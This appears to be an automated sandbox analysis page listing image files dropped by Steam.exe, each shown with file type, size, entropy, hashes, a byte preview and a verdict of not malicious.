&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\drop08.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 250 x 250 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	250044
Entropy (8bit):	2.26174889162312
Encrypted:	false
SSDEEP:
MD5:	36A275138CAA48226FA32C6757E5EF54
SHA1:	7EB540A6E65F12B291E2BFC62B82BDAC7E88C4E6
SHA-256:	319DDF6C78D35272FE3335C9DB97DD8A3FA22F1A513432B729DF5636664A66E9
SHA-512:	E9B2411D59634A22594ED0CF55CC9246422E6D1D2FF59120945C57E632C9AA9B77FE1A08714EBC0B10248DBD9993A6E1320EB60918EB8FBB9BFE0135AD561FC3
Malicious:	false
Reputation:	unknown
Preview:	................ .RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE&.RE

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\forward.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 36 x 36 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	5202
Entropy (8bit):	1.2279367673462962
Encrypted:	false
SSDEEP:
MD5:	9906CA64ED1C3856EA5C77D1EBE2F66E
SHA1:	A9B6359462A7914B071F1A5EE72B17429FF9507A
SHA-256:	D550226FB5CB314A77E53F931D8664A957A99CB7684BA81DA24C20EB00F5E540
SHA-512:	C208ABC5E384C65FF08A5C6CF5CA98BCDC61279A89C202F5F64D39C4EBD90317B224024385E74BD7F677D1A5DEC693626CD5598421E3A525666540480693C16B
Malicious:	false
Reputation:	unknown
Preview:	............$.$. ........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................3...................................................................a..........................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\gamepad_digital_blank.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 28 x 28 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	3180
Entropy (8bit):	2.4962322463323305
Encrypted:	false
SSDEEP:
MD5:	908EAF9F32A51C8C1A118D451B5B0C8F
SHA1:	CD52FF89B83909CFBC6DFF812F6EE7167B66D8B7
SHA-256:	D8497715EB8BF00547BD44936A1D9FF56E3FCD2E74D018A654FFA495126F4DEF
SHA-512:	011ED4099338D980FD6EF40879625B686CF220749286AFEA766342144B22A632212F9ABACE3B5E8C102543838AF4ACB7C204D2D411DC5E6A2CE91EBF901848A0
Malicious:	false
Reputation:	unknown
Preview:	................ ....................................................$...$...$...$...............................................................................................Q...l...l...l...l...Q.......................................................................................$...........................$...................................................................................$...........................$...................................................................................$...........................$...................................................................................$...........................$...................................................................................$...........................$...................................................................................$...........................$...................................................................................$...........................$..............

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\return.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 48 x 32 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	6162
Entropy (8bit):	1.0965077641480985
Encrypted:	false
SSDEEP:
MD5:	FF6F54A8CD4F88AAD7AAFFDB39544D26
SHA1:	52D5B0A1EAB5463442AE88DC408957A2017D86F8
SHA-256:	5FB24B9F933CAC05F6BE61FCD5A7DAECD25FBCF4FB733CF6B46D92947AB02AEF
SHA-512:	D2FA5A8692FBF97727E9AC96BAE9C29413CA194423F635EBDB2A157599A61ACD5335E4E9F9E572A227EAAEE430D8FE9FEF1ABB3759A469BE9679FF4D7B09B607
Malicious:	false
Reputation:	unknown
Preview:	............0. . .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\shift.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 64 x 91 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	23340
Entropy (8bit):	2.3350356631801854
Encrypted:	false
SSDEEP:
MD5:	693201D4B177EBC2919CDA4E3737E4DE
SHA1:	7764A831EA7B2E767712D8C43E0CE48B4104628A
SHA-256:	FA8ABC3F0A9CE852F170CAD9FB4374B5165835D77D05F384534445423768E9C0
SHA-512:	F604B0D02875FD02BE2D157BFB9196609FB1D9C0AE6639478B7F260108EB145859D4D87464E19B9C5A15F2376B1BD21AB007DD15095B32A2E3EADED78041484B
Malicious:	false
Reputation:	unknown
Preview:	............@.[. ..~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\shift_lt.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 64 x 91 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	23340
Entropy (8bit):	2.2646639943137212
Encrypted:	false
SSDEEP:
MD5:	E8C71E0D990047E1BDF2A1D49E4D6A26
SHA1:	DFFC3322C92893085417FCEF81F6F0BBEDA55424
SHA-256:	402296E5BB02DF734FA9A941DDF0D806E29FCAD4FC9F6DCD601BF540108402B6
SHA-512:	8C375679B64336F68C098A94DAC2942720A6283C3932165C493F87CC1FD043E222041E9C0C2170480958E68AA60F6C4A83FA4D48313ED95DE80926160D9BCA52
Malicious:	false
Reputation:	unknown
Preview:	............@.[. ..~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\space.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 64 x 60 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	15404
Entropy (8bit):	2.5042048846702962
Encrypted:	false
SSDEEP:
MD5:	7362868E978CDEEDF2B9F87C697E6F20
SHA1:	E8DD3647CA5762594CE5A8CA8F086A45BB22E6BC
SHA-256:	5605042D4E37F0DAA94AB00B758091BCBAC89DE4F1C7858B103C5A1B8ADB03F1
SHA-512:	857DAC8E0E357E8B9BBA928C3ED28A57799E9204DD202F7E98482A1CE86B16CF289CF587A34BED0971A4D5407D891DB779E7D5CB47B8DB63FD9F9CCCC990E56F
Malicious:	false
Reputation:	unknown
Preview:	............@.<. ..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~C..~

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\symbols.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 47 x 76 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	14332
Entropy (8bit):	2.6343268382871097
Encrypted:	false
SSDEEP:
MD5:	B1ADA9DEA7B75567182224F290580D13
SHA1:	9BA0078BECDCDD2730C9906A8A44FF5BC0054CA2
SHA-256:	374F923E9648169FD4EEEDC167425BDB0500F2142622E9A773BDA13969E42B0F
SHA-512:	A44022CCD22DAECBC07054BD4C5D7780E1D7CA982ED2B2437AD19ECAE625304CEB6F318D567295702701C56618C80866A16309FEA42BAEB8AE42FA7B41BB66C1
Malicious:	false
Reputation:	unknown
Preview:	............/.L. ..~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\symbols_rt.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 47 x 76 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	14332
Entropy (8bit):	2.553723741254166
Encrypted:	false
SSDEEP:
MD5:	640BB00D254F1FE96DF710452118ADA6
SHA1:	CAFF7A43D7227CE4ED29820B7A8A5D9F70CA9C79
SHA-256:	3963A57357B04A10C44AF70092A4691BC6495D7E97D4174C2A79DF94FAD7EDD3
SHA-512:	A983C715761587FE387ACC31827A4807257561DA208271DFE4E2B294DDA0AC070C40B9F9BFCD90714FADC1EC0228E1EE3CFB5DF48A922F4D4255EBB61C1D17D7
Malicious:	false
Reputation:	unknown
Preview:	............/.L. ..~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~C~.~

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\textinput_footer_cancel.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 60 x 43, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	847
Entropy (8bit):	7.5935824129303935
Encrypted:	false
SSDEEP:
MD5:	60F36ED7115943BA10E628C3E149C107
SHA1:	DFC78B3BBB12DACC1CB96B493C674AC3E8338CEE
SHA-256:	4239E36A3D9204CA433653E3DBC5C29ABB539CA2E54BE3D4E6BED1A027A30E84
SHA-512:	AD491D684C3DF5269FF583F412FFBCC92A33221A2B0E7D85BF9DB0B14B0A9576F44F3C85C5E4A39294372940BB8ECFE91E2E00A92A84907C1572EFF57C8B8F01
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...<...+.....$/.Q....gAMA......a.....pHYs..........(J.....tEXtSoftware.Paint.NET v3.5.100.r.....IDAThC.OJ.1..=B...z.n..a...V.Bq1..A....B..]...tQ. n<B...I.L33I^..]...L./...{.l.......n...m..7.S.1..j..~.\|.M....&....6m...0'.f.........E(Q..o......!.N..........;6y..`.gM.ln&Ak..l...e4....^..a\gX9Y`X.o..a....xhG.........v]B=..K`...0.>Gg.l4~d._.....u..>..C.]_....!...`....T6..D.v.,T...7........".........%e.<..f...DH..C...m..K.(.7!...E...tl......T... =z.......&}.....g...^.Y..4.).x.`.:.u9.>..O.....u)..W..~D...k..u.K.l.w}.p`.....p`..e.u.....!...m.T{.8\|V.\.`..0&!...p...i..5o.M....3.Bri)v..QN..Y..V-...;x.6.$z..Z.......)0...z......YB&......Cx.Z.N@R1B...i.`\.....jrC.^=...p..4.&...<../_....e\...M.=...fwK.9u..a......s?.@.....5#...w.C....Ac..-.M.6...+..8J.2=..a.1h....s..3\|..}........?....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\textinput_footer_cancel.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 60 x 43 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	10364
Entropy (8bit):	2.2650060343387244
Encrypted:	false
SSDEEP:
MD5:	B904EA19725D5D86994BB2660A682FC5
SHA1:	D748C609D1533DD46E4ABFA60CF829E3B12D5F05
SHA-256:	B85EF6D631E1EAD3A216DA7322EE3272F476B6E3C625353C52C34F8FC8B0C41C
SHA-512:	77E694835F3DA7BFEC04B79A9CA3705A352228AED65B3CE14E62AA57A8B1D4A82CA4C773F56D157D62EAEB8F6D28A090F4B0111719EB67CEAAB0927EE64BAAAD
Malicious:	false
Reputation:	unknown
Preview:	............<.+. .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\textinput_footer_start.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 60 x 43, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	839
Entropy (8bit):	7.618414506124197
Encrypted:	false
SSDEEP:
MD5:	58A4BD2D4D17F6E156EECFD6B5716B34
SHA1:	DA342AD7513DD441B5E609BBB24F3E61AA902134
SHA-256:	F6E29FD990F17FD0C26EEEB4AB773F74702EFA4D578BD9A9E1550B931FEF939E
SHA-512:	53C6E0C1B5334FF9F2F592D2643B298A3A277F377798F3FDA91FAD91CE4BE2976AEE96294AA96763D6893E3735890F5FE5C6B32ACE5480EE76ED71FC09F3A87A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...<...+.....$/.Q....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAThC.J.1..}.>...G....R.Z...p...HQ.qP.:..vP.TDA\\|.>B..Lj.z...&t...I~...7.F....m[...m].F..h#........+/.)...7iK..V-...2l..K.3.....,...........oWf.K.)h....m..;.../........U.........K.[%..w.^.....8fX.X`XP.".i.j.L#.y....x.No..;;....{.Y.U.....\|\|}.....](...M.8-..+....6y.$7..d..Py,..%...j...+k......}........'ZcK...zm...2......WrryM`.Ad....aH.X.......R`..-......{r\|.K..k.8Y....pv..=...w.d.."p..9..........?.?.......wv....p.....(.Ep..YF.l.........sq..hpq.q.... 2-O.t.i.,..].L$.u....%.%.3.v)....W-.........g.a..Wu(.^.K..4.........e..).l;...=.b...U.e..J.t..xj.q...x..si~.I._....."..S..6...s.!.....s?,@........w.....x....SP...2.}.S...r.;..!.4h..P.O.......zL.........IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\textinput_footer_start.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 60 x 43 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	10364
Entropy (8bit):	2.2650060343387244
Encrypted:	false
SSDEEP:
MD5:	D191E420C5F87AB4C46BF91AE3CDFDC5
SHA1:	C846DCCCF9EAF06AB483437FA18097C57766844D
SHA-256:	B43EE5F28E5B2861A08B34EA60CA00FE9CE7A5FD3DCC935875DD6581E2B94867
SHA-512:	0CD7829202B5942BB05236A55C42DDE104B5DF73E21D550C1FCA4E54199C25754CBB54CE7CD5BCFFD0457BC723EE307694D6A776B1794038D8137D20D2EE3B5A
Malicious:	false
Reputation:	unknown
Preview:	............<.+. .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\textinput_ls.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 156 x 133 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	83036
Entropy (8bit):	5.732610075787166
Encrypted:	false
SSDEEP:
MD5:	3A4BB412B34423CCF6F5A17B611FB4E6
SHA1:	A0A96F7E756360AFC58CAD8908E2E056972D6D3A
SHA-256:	49ED1CE8D301BA92D82E66D1D998323380C888E94FDFD5B38D562E11CE3B0D43
SHA-512:	AC95A692A27CFBA406749DB27BA385F18DFFC9E5D9BD4F15A05BE88FB28C939B84EAD8AAA2BC3CE6146184969B238778992F1A828E00BEE7FC5F450FF7C1267B
Malicious:	false
Reputation:	unknown
Preview:	................ .H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.G:!.G: .F: .F9 .E8 .D8..C7..B6..A5..@5..?4. >2.%<1.;0./:/.39/.68..88..:8..:7-.;8..:8..:8..89/.6:/.3;0./<1.>2.%?4. @5..A5..B6..C7..D8..E8..E9 .F: .G: .G:!.G;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.H;!.G;!.G: .F: .E9 .D8..C7..B6..A5..?4..>3.#=2.'<1.+;0./9/.48..87-.;6-.>6,.@5,.B5+.C5+.C5+.C5+.C5+.C5,.B6,.@6-.>7-.;8..89/.4;0./<1.+=2.'>3

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\textinput_paddles.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6048
Entropy (8bit):	7.879614514886662
Encrypted:	false
SSDEEP:
MD5:	909D9FC6F58F5AB6D2FB26A43A286C26
SHA1:	4994C4F8BAF72074EC62F2D4242DB95C5781D0CD
SHA-256:	3863CEF628ACB9235B38528A78D4F2C4E3967D024AE880D057C85CBEDD7B8A29
SHA-512:	CB4206C5AC32A204A58475B2FA28B2B44197417F5E16BD3CD7D4B37290D8DB657F19FE362D5833E56E942873694F7605A412712337D14D05ADBF38A794F16317
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\textinput\textinput_touchpointer.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 51 x 51 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	10422
Entropy (8bit):	3.3611869712266254
Encrypted:	false
SSDEEP:
